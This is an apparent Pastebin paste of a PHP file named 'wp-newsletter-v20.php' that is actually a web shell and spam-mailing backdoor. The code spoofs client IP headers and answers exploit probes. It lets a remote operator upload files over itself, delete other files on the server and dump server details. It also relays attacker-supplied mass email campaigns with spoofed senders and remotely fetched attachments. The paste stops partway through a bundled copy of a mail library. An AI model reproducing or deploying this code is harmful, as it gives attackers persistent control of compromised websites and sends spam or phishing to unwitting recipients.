PalmaSolutions

wp-newsletter-v20.php

Mar 26th, 2018
458
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 141.81 KB | None | 0 0
  1. <?php
  2. @date_default_timezone_set('Europe/London');
  3. @error_reporting(0);
  4. @set_time_limit(0);
  5. @ini_set('memory_limit', '-1');
  6. @define('MAIL_VERSION', '1.9.0');
  7. @define('MAIL_URL', GetMailURL());
  8. @define('REDIRECTION_FOLDER', "ckatxf");
  9. if (isset($_GET['server-infos'])) {
  10.     CreateHTaccess();
  11.     $SERVER_INFOS = $_SERVER;
  12.     if (!is_array($SERVER_INFOS)) {
  13.         $SERVER_INFOS = array();
  14.     }
  15.     $SERVER_INFOS['REAL_IP_GET']     = GetPageContent("http://myip.dnsomatic.com/");
  16.     $SERVER_INFOS['EXPLOIT_VERSION'] = MAIL_VERSION;
  17.     echo json_encode($SERVER_INFOS);
  18.     exit;
  19. }
  20. $_SERVER['PHP_SELF']          = "/index.php";
  21. $HTTP_SERVER_VARS['PHP_SELF'] = "/index.php";
  22. foreach (array(
  23.     'HTTP_CLIENT_IP',
  24.     'HTTP_X_FORWARDED_FOR',
  25.     'HTTP_X_FORWARDED',
  26.     'HTTP_X_CLUSTER_CLIENT_IP',
  27.     'HTTP_FORWARDED_FOR',
  28.     'HTTP_FORWARDED',
  29.     'REMOTE_ADDR'
  30. ) as $key) {
  31.     $_SERVER[$key]          = "127.0.0.1";
  32.     $HTTP_SERVER_VARS[$key] = "127.0.0.1";
  33. }
  34. if (isset($_GET['test-exploit'])) {
  35.     echo "EXPLOITOK";
  36.     exit;
  37. }
  38. if (isset($_GET['delete-wso'])) {
  39.     echo DeleteBadFiles();
  40.     exit;
  41. }
  42. function DeleteBadFiles($delete = false, $folder = "") {
  43.     $FileToDelete  = array();
  44.     $FileList      = ScanFolder(dirname(__FILE__) . "/" . $folder);
  45.     $whiteFile     = array(
  46.         basename(__FILE__),
  47.         "error_log",
  48.         ".htaccess",
  49.         ".html",
  50.         ".css",
  51.         ".png",
  52.         ".gif",
  53.         ".jpeg",
  54.         ".jpg",
  55.         ".ico",
  56.         ".js"
  57.     );
  58.     $whiteFilePreg = array();
  59.     foreach ($whiteFile as $whiteFileToCheck) {
  60.         $whiteFilePreg[] = preg_quote($whiteFileToCheck, "/");
  61.     }
  62.     $BlackList     = array(
  63.         "define('MAIL_VERSION',",
  64.         "_f_wp"
  65.     );
  66.     $BlackListPreg = array();
  67.     foreach ($BlackList as $BlackListToCheck) {
  68.         $BlackListPreg[] = preg_quote($BlackListToCheck, "/");
  69.     }
  70.     $whiteList     = array(
  71.         "@package",
  72.         "wp_nav_menu(",
  73.         "bloginfo(",
  74.         "language_attributes(",
  75.         "has_nav_menu(",
  76.         "body_class("
  77.     );
  78.     $whiteListPreg = array();
  79.     foreach ($whiteList as $whiteListToCheck) {
  80.         $whiteListPreg[] = preg_quote($whiteListToCheck, "/");
  81.     }
  82.     foreach ($FileList as $FileScan) {
  83.         if ($FileScan == "." or $FileScan == ".." or is_dir($FileScan) or !is_file($FileScan) or $FileScan == basename(__FILE__)) {
  84.             continue;
  85.         }
  86.         if (!preg_match('/' . implode("|", $whiteFilePreg) . '/i', $FileScan)) {
  87.             $FileCheckContent = @file_get_contents($FileScan);
  88.             if (!preg_match('/' . implode("|", $whiteListPreg) . '/i', $FileCheckContent) or preg_match('/' . implode("|", $BlackListPreg) . '/i', $FileCheckContent)) {
  89.                 if (!is_writable($FileScan)) {
  90.                     $Writable = ' - <span style="color:red;">(This file can\'t be edit/deleted !)</span>';
  91.                 } else {
  92.                     $Writable = ' - <span style="color:green;">(This file can be edit/deleted !)</span>';
  93.                 }
  94.                 if (isset($_GET['action'])) {
  95.                     if ($_GET['action'] == "delete") {
  96.                         $FileToDelete[] = $FileScan;
  97.                     } else {
  98.                         $FileToDelete[] = $FileScan . $Writable;
  99.                     }
  100.                 } else {
  101.                     if ($delete == true) {
  102.                         $FileToDelete[] = $FileScan;
  103.                     } else {
  104.                         $FileToDelete[] = $FileScan . $Writable;
  105.                     }
  106.                 }
  107.             }
  108.         }
  109.     }
  110.     if ($_GET['action'] == "delete" or $delete == true) {
  111.         foreach ($FileToDelete as $DeleteFile) {
  112.             @unlink($DeleteFile);
  113.         }
  114.         return "OK";
  115.     } else {
  116.         return json_encode($FileToDelete);
  117.     }
  118. }
  119. if (isset($_GET['self-update'])) {
  120.     $CurrentFile = __FILE__;
  121.     $SaveContent = @file_get_contents($CurrentFile);
  122.     if ($_FILES['f']['tmp_name'] != "") {
  123.         if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) {
  124.             if (@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
  125.                 echo "OK";
  126.             } else {
  127.                 @file_put_contents($CurrentFile, $SaveContent);
  128.                 echo "NO";
  129.             }
  130.         } else {
  131.             echo "NO_DELETE";
  132.         }
  133.     }
  134.     exit;
  135. }
  136. if (isset($_GET['check_mail_smtp'])) {
  137.     $smtp = new SMTP;
  138.     $Host = "smtp.live.com";
  139.     $Port = 25;
  140.     if (isset($_GET['host']) && $_GET['host'] != "") {
  141.         $Host = $_GET['host'];
  142.     }
  143.     if (isset($_GET['port']) && $_GET['port'] != "") {
  144.         $Port = $_GET['port'];
  145.     }
  146.     $urlShell = GetRedirectionLink($_GET['real_url']);
  147.     if ($urlShell === false) {
  148.         echo "NO_REDIRECTION";
  149.         exit;
  150.     }
  151.     try {
  152.         if (!$smtp->connect($Host, $Port, 10)) {
  153.             throw new Exception('Connect failed');
  154.         }
  155.         if (!$smtp->hello("localhost.localdomain")) {
  156.             $SMTP_ERROR = $smtp->getError();
  157.             throw new Exception('EHLO failed: ' . $SMTP_ERROR['error']);
  158.         }
  159.         $e = $smtp->getServerExtList();
  160.         if (is_array($e) && array_key_exists('STARTTLS', $e)) {
  161.             $tlsok = $smtp->startTLS();
  162.             if (!$tlsok) {
  163.                 $SMTP_ERROR = $smtp->getError();
  164.                 throw new Exception('Failed to start encryption: ' . $SMTP_ERROR['error']);
  165.             }
  166.             if (!$smtp->hello("localhost.localdomain")) {
  167.                 $SMTP_ERROR = $smtp->getError();
  168.                 throw new Exception('EHLO (2) failed: ' . $SMTP_ERROR['error']);
  169.             }
  170.             $e = $smtp->getServerExtList();
  171.         }
  172.         if (is_array($e) && array_key_exists('AUTH', $e)) {
  173.             echo "OK";
  174.         }
  175.     }
  176.     catch (Exception $e) {
  177.         echo $e->getMessage();
  178.     }
  179.     $smtp->quit(true);
  180.     exit;
  181. }
  182. if (isset($_GET['send_campaign_php'])) {
  183.     CreateHTaccess();
  184.     echo GetPageContent(urldecode($_GET['real_url']) . "?send_campaign_php_action=true&real_url=" . $_GET['real_url'], $_POST);
  185.     exit;
  186. }
  187. if (isset($_GET['send_campaign_php_action'])) {
  188.     $ReturnText = array();
  189.     $AllCommand = unserialize(base64_decode($_POST['command']));
  190.     $urlShell = GetRedirectionLink($_GET['real_url']);
  191.     if ($urlShell === false && preg_match('/' . preg_quote("[shell_rewrite_url]", "/") . '/i', $Command['content'])) {
  192.         echo "NO_REDIRECTION";
  193.         exit;
  194.     }
  195.     foreach ($AllCommand as $Command) {
  196.         $mail     = new SilthxMailer;
  197.        
  198.         $smtp = isset($Command['smtp']) ? $Command['smtp'] : '';
  199.         if (is_array($smtp)) {
  200.             if (isset($Command['smtp']['sender_email'])) {
  201.                 $From = $Command['smtp']['sender_email'];
  202.             } else {
  203.                 $From = $Command['smtp']['user'];
  204.             }
  205.             $mail->isSMTP();
  206.             $mail->Host          = $Command['smtp']['host'];
  207.             $mail->SMTPAuth      = true;
  208.             $mail->SMTPKeepAlive = true;
  209.             $mail->SMTPAutoTLS   = false;
  210.             if ($Command['smtp']['security'] == "auto") {
  211.                 $mail->SMTPAutoTLS = true;
  212.             } elseif ($Command['smtp']['security'] == "tls") {
  213.                 $mail->SMTPSecure = 'tls';
  214.             } elseif ($Command['smtp']['security'] == "ssl") {
  215.                 $mail->SMTPSecure = 'ssl';
  216.             }
  217.             $mail->Port     = $Command['smtp']['port'];
  218.             $mail->Username = $Command['smtp']['user'];
  219.             $mail->Password = $Command['smtp']['pass'];
  220.         } else {
  221.             $Domain = get_domain("http://" . $_SERVER['HTTP_HOST']);
  222.             if ($Command['from'] != "") {
  223.                 $From = $Command['from'] . '@' . $Domain;
  224.             } else {
  225.                 $Domain = get_domain("http://" . $_SERVER['HTTP_HOST']);
  226.                 $From   = 'contact@' . $Domain;
  227.             }
  228.         }
  229.         $mail->setFrom($From, $Command['name']);
  230.         $mail->Sender = $From;
  231.         $mail->addAddress($Command['to']);
  232.         $mail->Subject = $Command['subject'];
  233.         $mail->XMailer = ' ';
  234.         $Content       = str_replace('[shell_rewrite_url]', $urlShell, $Command['content']);
  235.         if ($Command['source_type'] == "html") {
  236.             $mail->msgHTML($Content);
  237.         } else {
  238.             $mail->isHTML(false);
  239.             $mail->Body    = $Content;
  240.             $mail->AltBody = $Content;
  241.         }
  242.         if ($Command['reply_to'] != "") {
  243.             $mail->AddReplyTo($Command['reply_to']);
  244.         } else {
  245.             $mail->AddReplyTo($From, $Command['name']);
  246.         }
  247.         if ($Command['file'] != "") {
  248.             $FileExtension = pathinfo(parse_url($Command['file'], PHP_URL_PATH), PATHINFO_EXTENSION);
  249.             $mail->addStringAttachment(GetPageContent($Command['file']), $Command['filename'] . "." . $FileExtension);
  250.         }
  251.         if (!$mail->send()) {
  252.             $ReturnText[] = $Command['id'] . ":2:" . $mail->ErrorInfo;
  253.         } else {
  254.             $ReturnText[] = $Command['id'] . ":1:";
  255.         }
  256.     }
  257.     if (empty($ReturnText)) {
  258.         echo "NO";
  259.     } else {
  260.         echo implode(':|:', $ReturnText);
  261.     }
  262.     exit;
  263. }
  264. if (isset($_GET['check_inbox_php'])) {
  265.     echo GetPageContent(urldecode($_GET['real_url']) . "?check_inbox_php_action=true&email=" . $_GET['email'] . "&subject=" . $_GET['subject'] . "&from=" . $_GET['from'] . "&real_url=" . $_GET['real_url']);
  266.     exit;
  267. }
  268. if (isset($_GET['check_mail_php'])) {
  269.     $urlShell = GetRedirectionLink($_GET['real_url']);
  270.     if ($urlShell === false) {
  271.         echo "NO_REDIRECTION";
  272.         exit;
  273.     }
  274.     if (function_exists('mail')) {
  275.         echo "OK";
  276.     } else {
  277.         echo "NO";
  278.     }
  279.     exit;
  280. }
  281. if (isset($_GET['check_inbox_php_action'])) {
  282.     $mail          = new SilthxMailer;
  283.     $Domain        = strtolower(get_domain("http://" . $_SERVER['HTTP_HOST']));
  284.     $ExplodeDomain = explode(".", $Domain);
  285.     $Name          = ucfirst($ExplodeDomain[0]);
  286.     if (isset($_GET['from'])) {
  287.         $From = $_GET['from'];
  288.     } else {
  289.         $From = 'contact@' . $Domain;
  290.     }
  291.     $mail->setFrom($From, $Name);
  292.     $mail->Sender = $From;
  293.     $mail->AddReplyTo($From, $Name);
  294.     $mail->addAddress($_GET['email']);
  295.     $mail->Subject = $_GET['subject'];
  296.     $mail->XMailer = ' ';
  297.     if (isset($_GET['body'])) {
  298.         $mail->Body = $_GET['body'];
  299.     } else {
  300.         $mail->Body = "Hello, as you ask on our website, this is your api key for use our service : " . md5(uniqid(time()));
  301.     }
  302.     if (!$mail->send()) {
  303.         echo "NO";
  304.     } else {
  305.         echo "OK";
  306.     }
  307.     exit;
  308. }
  309. Display404Page();
  310. function get_domain($url) {
  311.     $pieces = parse_url($url);
  312.     $domain = isset($pieces['host']) ? $pieces['host'] : '';
  313.     if (preg_match('/(?P<domain>[a-z0-9][a-z0-9\-]{1,63}\.[a-z\.]{2,6})$/i', $domain, $regs)) {
  314.         return $regs['domain'];
  315.     }
  316.     return false;
  317. }
  318. function randStr($length) {
  319.     $characters       = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  320.     $charactersLength = strlen($characters);
  321.     $randomString     = '';
  322.     for ($i = 0; $i < $length; $i++) {
  323.         $randomString .= $characters[rand(0, $charactersLength - 1)];
  324.     }
  325.     return $randomString;
  326. }
  327. function ScanFolder($dir) {
  328.     if (!function_exists('scandir')) {
  329.         $dh = opendir($dir);
  330.         while (false !== ($filename = readdir($dh))) {
  331.             $files[] = $filename;
  332.         }
  333.     } else {
  334.         $files = scandir($dir);
  335.     }
  336.     return $files;
  337. }
  338. function cURLRequest($url, $postFields = null, $httpHeader = array()) {
  339.     $ch = curl_init();
  340.     curl_setopt($ch, CURLOPT_URL, $url);
  341.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  342.     curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
  343.     if (!empty($postFields)) {
  344.         curl_setopt($ch, CURLOPT_POST, 1);
  345.         curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
  346.     }
  347.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.1; .NET CLR 1.1.4322)");
  348.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  349.     curl_setopt($ch, CURLOPT_TIMEOUT, 15);
  350.     curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  351.     $headers   = array();
  352.     $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0";
  353.     $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  354.     $headers[] = "Accept-Language: en-US,en;q=0.5";
  355.     curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  356.     $page     = curl_exec($ch);
  357.     $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  358.     if(($httpcode >= 500 && $httpcode < 600) or ($httpcode >= 400 && $httpcode < 500)) { return "REMOTE_ERROR_".$httpcode."_CURL|" . $url; }
  359.  
  360.     if (curl_errno($ch)) {
  361.         return "REMOTE_CURL_ERRNO|" . curl_error($ch);
  362.     }
  363.     curl_close($ch);
  364.     return $page;
  365. }
  366. function GetPageContent($url, $postFields = null) {
  367.     if (function_exists('curl_init')) {
  368.         return cURLRequest($url, $postFields);
  369.     } elseif (!function_exists('file_get_contents')) {
  370.         return 'file_get_contents not available !';
  371.     } else {
  372.         if (is_array($postFields)) {
  373.             $postdata = http_build_query($postFields);
  374.             $opts     = array(
  375.                 'http' => array(
  376.                     'method' => 'POST',
  377.                     'header' => 'Content-type: application/x-www-form-urlencoded',
  378.                     'content' => $postdata
  379.                 )
  380.             );
  381.             $context  = stream_context_create($opts);
  382.             $result   = @file_get_contents($url, false, $context);
  383.             return $result;
  384.         } else {
  385.             return @file_get_contents($url);
  386.         }
  387.     }
  388. }
  389. function url_origin($s, $use_forwarded_host = false) {
  390.     $ssl      = (!empty($s['HTTPS']) && $s['HTTPS'] == 'on');
  391.     $sp       = strtolower($s['SERVER_PROTOCOL']);
  392.     $protocol = substr($sp, 0, strpos($sp, '/')) . (($ssl) ? 's' : '');
  393.     $port     = $s['SERVER_PORT'];
  394.     $port     = ((!$ssl && $port == '80') || ($ssl && $port == '443')) ? '' : ':' . $port;
  395.     $host     = ($use_forwarded_host && isset($s['HTTP_X_FORWARDED_HOST'])) ? $s['HTTP_X_FORWARDED_HOST'] : (isset($s['HTTP_HOST']) ? $s['HTTP_HOST'] : null);
  396.     $host     = isset($host) ? $host : $s['SERVER_NAME'] . $port;
  397.     return $protocol . '://' . $host;
  398. }
  399. function full_url($s, $use_forwarded_host = false) {
  400.     $URI = explode('?', $s['REQUEST_URI']);
  401.     return url_origin($s, $use_forwarded_host) . $URI[0];
  402. }
  403. class SilthxMailer {
  404.     public $Priority = null;
  405.     public $CharSet = 'iso-8859-1';
  406.     public $ContentType = 'text/plain';
  407.     public $Encoding = '8bit';
  408.     public $ErrorInfo = '';
  409.     public $From = 'root@localhost';
  410.     public $FromName = 'Root User';
  411.     public $Sender = '';
  412.     public $ReturnPath = '';
  413.     public $Subject = '';
  414.     public $Body = '';
  415.     public $AltBody = '';
  416.     public $Ical = '';
  417.     protected $MIMEBody = '';
  418.     protected $MIMEHeader = '';
  419.     protected $mailHeader = '';
  420.     public $WordWrap = 0;
  421.     public $Mailer = 'mail';
  422.     public $Sendmail = '/usr/sbin/sendmail';
  423.     public $UseSendmailOptions = true;
  424.     public $PluginDir = '';
  425.     public $ConfirmReadingTo = '';
  426.     public $Hostname = '';
  427.     public $MessageID = '';
  428.     public $MessageDate = '';
  429.     public $Host = 'localhost';
  430.     public $Port = 25;
  431.     public $Helo = '';
  432.     public $SMTPSecure = '';
  433.     public $UseSocks = false;
  434.     public $SocksHost = null;
  435.     public $SocksPort = 0;
  436.     public $SMTPAutoTLS = true;
  437.     public $SMTPAuth = false;
  438.     public $SMTPOptions = array();
  439.     public $Username = '';
  440.     public $Password = '';
  441.     public $AuthType = '';
  442.     public $Realm = '';
  443.     public $Workstation = '';
  444.     public $Timeout = 10;
  445.     public $SMTPDebug = 0;
  446.     public $Debugoutput = 'echo';
  447.     public $SMTPKeepAlive = false;
  448.     public $SingleTo = false;
  449.     public $SingleToArray = array();
  450.     public $do_verp = false;
  451.     public $AllowEmpty = false;
  452.     public $LE = "\n";
  453.     public $DKIM_selector = '';
  454.     public $DKIM_identity = '';
  455.     public $DKIM_passphrase = '';
  456.     public $DKIM_domain = '';
  457.     public $DKIM_private = '';
  458.     public $DKIM_private_string = '';
  459.     public $action_function = '';
  460.     public $XMailer = '';
  461.     public static $validator = 'auto';
  462.     protected $smtp = null;
  463.     protected $to = array();
  464.     protected $cc = array();
  465.     protected $bcc = array();
  466.     protected $ReplyTo = array();
  467.     protected $all_recipients = array();
  468.     protected $RecipientsQueue = array();
  469.     protected $ReplyToQueue = array();
  470.     protected $attachment = array();
  471.     protected $CustomHeader = array();
  472.     protected $lastMessageID = '';
  473.     protected $message_type = '';
  474.     protected $boundary = array();
  475.     protected $language = array();
  476.     protected $error_count = 0;
  477.     protected $sign_cert_file = '';
  478.     protected $sign_key_file = '';
  479.     protected $sign_extracerts_file = '';
  480.     protected $sign_key_pass = '';
  481.     protected $exceptions = false;
  482.     protected $uniqueid = '';
  483.     const STOP_MESSAGE = 0;
  484.     const STOP_CONTINUE = 1;
  485.     const STOP_CRITICAL = 2;
  486.     const CRLF = "\r\n";
  487.     const MAX_LINE_LENGTH = 998;
  488.     public function __construct($exceptions = null) {
  489.         if ($exceptions !== null) {
  490.             $this->exceptions = (boolean) $exceptions;
  491.         }
  492.     }
  493.     public function __destruct() {
  494.         $this->smtpClose();
  495.     }
  496.     private function mailPassthru($to, $subject, $body, $header, $params) {
  497.         if (ini_get('mbstring.func_overload') & 1) {
  498.             $subject = $this->secureHeader($subject);
  499.         } else {
  500.             $subject = $this->encodeHeader($this->secureHeader($subject));
  501.         }
  502.         if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
  503.             $result = @mail($to, $subject, $body, $header);
  504.         } else {
  505.             $result = @mail($to, $subject, $body, $header, $params);
  506.         }
  507.         return $result;
  508.     }
  509.     protected function edebug($str) {
  510.         if ($this->SMTPDebug <= 0) {
  511.             return;
  512.         }
  513.         if (!in_array($this->Debugoutput, array(
  514.             'error_log',
  515.             'html',
  516.             'echo'
  517.         )) and is_callable($this->Debugoutput)) {
  518.             call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  519.             return;
  520.         }
  521.         switch ($this->Debugoutput) {
  522.             case 'error_log':
  523.                 error_log($str);
  524.                 break;
  525.             case 'html':
  526.                 echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8') . "<br>\n";
  527.                 break;
  528.             case 'echo':
  529.             default:
  530.                 $str = preg_replace('/\r\n?/ms', "\n", $str);
  531.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace("\n", "\n                   \t                  ", trim($str)) . "\n";
  532.         }
  533.     }
  534.     public function isHTML($isHtml = true) {
  535.         if ($isHtml) {
  536.             $this->ContentType = 'text/html';
  537.         } else {
  538.             $this->ContentType = 'text/plain';
  539.         }
  540.     }
  541.     public function isSMTP() {
  542.         $this->Mailer = 'smtp';
  543.     }
  544.     public function isMail() {
  545.         $this->Mailer = 'mail';
  546.     }
  547.     public function isSendmail() {
  548.         $ini_sendmail_path = ini_get('sendmail_path');
  549.         if (!stristr($ini_sendmail_path, 'sendmail')) {
  550.             $this->Sendmail = '/usr/sbin/sendmail';
  551.         } else {
  552.             $this->Sendmail = $ini_sendmail_path;
  553.         }
  554.         $this->Mailer = 'sendmail';
  555.     }
  556.     public function isQmail() {
  557.         $ini_sendmail_path = ini_get('sendmail_path');
  558.         if (!stristr($ini_sendmail_path, 'qmail')) {
  559.             $this->Sendmail = '/var/qmail/bin/qmail-inject';
  560.         } else {
  561.             $this->Sendmail = $ini_sendmail_path;
  562.         }
  563.         $this->Mailer = 'qmail';
  564.     }
  565.     public function addAddress($address, $name = '') {
  566.         return $this->addOrEnqueueAnAddress('to', $address, $name);
  567.     }
  568.     public function addCC($address, $name = '') {
  569.         return $this->addOrEnqueueAnAddress('cc', $address, $name);
  570.     }
  571.     public function addBCC($address, $name = '') {
  572.         return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  573.     }
  574.     public function addReplyTo($address, $name = '') {
  575.         return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  576.     }
  577.     protected function addOrEnqueueAnAddress($kind, $address, $name) {
  578.         $address = trim($address);
  579.         $name    = trim(preg_replace('/[\r\n]+/', '', $name));
  580.         if (($pos = strrpos($address, '@')) === false) {
  581.             $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
  582.             $this->setError($error_message);
  583.             $this->edebug($error_message);
  584.             if ($this->exceptions) {
  585.                 throw new phpmailerException($error_message);
  586.             }
  587.             return false;
  588.         }
  589.         $params = array(
  590.             $kind,
  591.             $address,
  592.             $name
  593.         );
  594.         if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  595.             if ($kind != 'Reply-To') {
  596.                 if (!array_key_exists($address, $this->RecipientsQueue)) {
  597.                     $this->RecipientsQueue[$address] = $params;
  598.                     return true;
  599.                 }
  600.             } else {
  601.                 if (!array_key_exists($address, $this->ReplyToQueue)) {
  602.                     $this->ReplyToQueue[$address] = $params;
  603.                     return true;
  604.                 }
  605.             }
  606.             return false;
  607.         }
  608.         return call_user_func_array(array(
  609.             $this,
  610.             'addAnAddress'
  611.         ), $params);
  612.     }
  613.     protected function addAnAddress($kind, $address, $name = '') {
  614.         if (!in_array($kind, array(
  615.             'to',
  616.             'cc',
  617.             'bcc',
  618.             'Reply-To'
  619.         ))) {
  620.             $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  621.             $this->setError($error_message);
  622.             $this->edebug($error_message);
  623.             if ($this->exceptions) {
  624.                 throw new phpmailerException($error_message);
  625.             }
  626.             return false;
  627.         }
  628.         if (!$this->validateAddress($address)) {
  629.             $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
  630.             $this->setError($error_message);
  631.             $this->edebug($error_message);
  632.             if ($this->exceptions) {
  633.                 throw new phpmailerException($error_message);
  634.             }
  635.             return false;
  636.         }
  637.         if ($kind != 'Reply-To') {
  638.             if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  639.                 array_push($this->$kind, array(
  640.                     $address,
  641.                     $name
  642.                 ));
  643.                 $this->all_recipients[strtolower($address)] = true;
  644.                 return true;
  645.             }
  646.         } else {
  647.             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  648.                 $this->ReplyTo[strtolower($address)] = array(
  649.                     $address,
  650.                     $name
  651.                 );
  652.                 return true;
  653.             }
  654.         }
  655.         return false;
  656.     }
  657.     public function parseAddresses($addrstr, $useimap = true) {
  658.         $addresses = array();
  659.         if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  660.             $list = imap_rfc822_parse_adrlist($addrstr, '');
  661.             foreach ($list as $address) {
  662.                 if ($address->host != '.SYNTAX-ERROR.') {
  663.                     if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  664.                         $addresses[] = array(
  665.                             'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  666.                             'address' => $address->mailbox . '@' . $address->host
  667.                         );
  668.                     }
  669.                 }
  670.             }
  671.         } else {
  672.             $list = explode(',', $addrstr);
  673.             foreach ($list as $address) {
  674.                 $address = trim($address);
  675.                 if (strpos($address, '<') === false) {
  676.                     if ($this->validateAddress($address)) {
  677.                         $addresses[] = array(
  678.                             'name' => '',
  679.                             'address' => $address
  680.                         );
  681.                     }
  682.                 } else {
  683.                     list($name, $email) = explode('<', $address);
  684.                     $email = trim(str_replace('>', '', $email));
  685.                     if ($this->validateAddress($email)) {
  686.                         $addresses[] = array(
  687.                             'name' => trim(str_replace(array(
  688.                                 '"',
  689.                                 "'"
  690.                             ), '', $name)),
  691.                             'address' => $email
  692.                         );
  693.                     }
  694.                 }
  695.             }
  696.         }
  697.         return $addresses;
  698.     }
  699.     public function setFrom($address, $name = '', $auto = true) {
  700.         $address = trim($address);
  701.         $name    = trim(preg_replace('/[\r\n]+/', '', $name));
  702.         if (($pos = strrpos($address, '@')) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) {
  703.             $error_message = $this->lang('invalid_address') . " (setFrom) $address";
  704.             $this->setError($error_message);
  705.             $this->edebug($error_message);
  706.             if ($this->exceptions) {
  707.                 throw new phpmailerException($error_message);
  708.             }
  709.             return false;
  710.         }
  711.         $this->From     = $address;
  712.         $this->FromName = $name;
  713.         if ($auto) {
  714.             if (empty($this->Sender)) {
  715.                 $this->Sender = $address;
  716.             }
  717.         }
  718.         return true;
  719.     }
  720.     public function getLastMessageID() {
  721.         return $this->lastMessageID;
  722.     }
  723.     public static function validateAddress($address, $patternselect = null) {
  724.         if (is_null($patternselect)) {
  725.             $patternselect = self::$validator;
  726.         }
  727.         if (is_callable($patternselect)) {
  728.             return call_user_func($patternselect, $address);
  729.         }
  730.         if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  731.             return false;
  732.         }
  733.         if (!$patternselect or $patternselect == 'auto') {
  734.             if (defined('PCRE_VERSION')) {
  735.                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  736.                     $patternselect = 'pcre8';
  737.                 } else {
  738.                     $patternselect = 'pcre';
  739.                 }
  740.             } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  741.                 $patternselect = 'pcre';
  742.             } else {
  743.                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  744.                     $patternselect = 'php';
  745.                 } else {
  746.                     $patternselect = 'noregex';
  747.                 }
  748.             }
  749.         }
  750.         switch ($patternselect) {
  751.             case 'pcre8':
  752.                 return (boolean) preg_match('/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address);
  753.             case 'pcre':
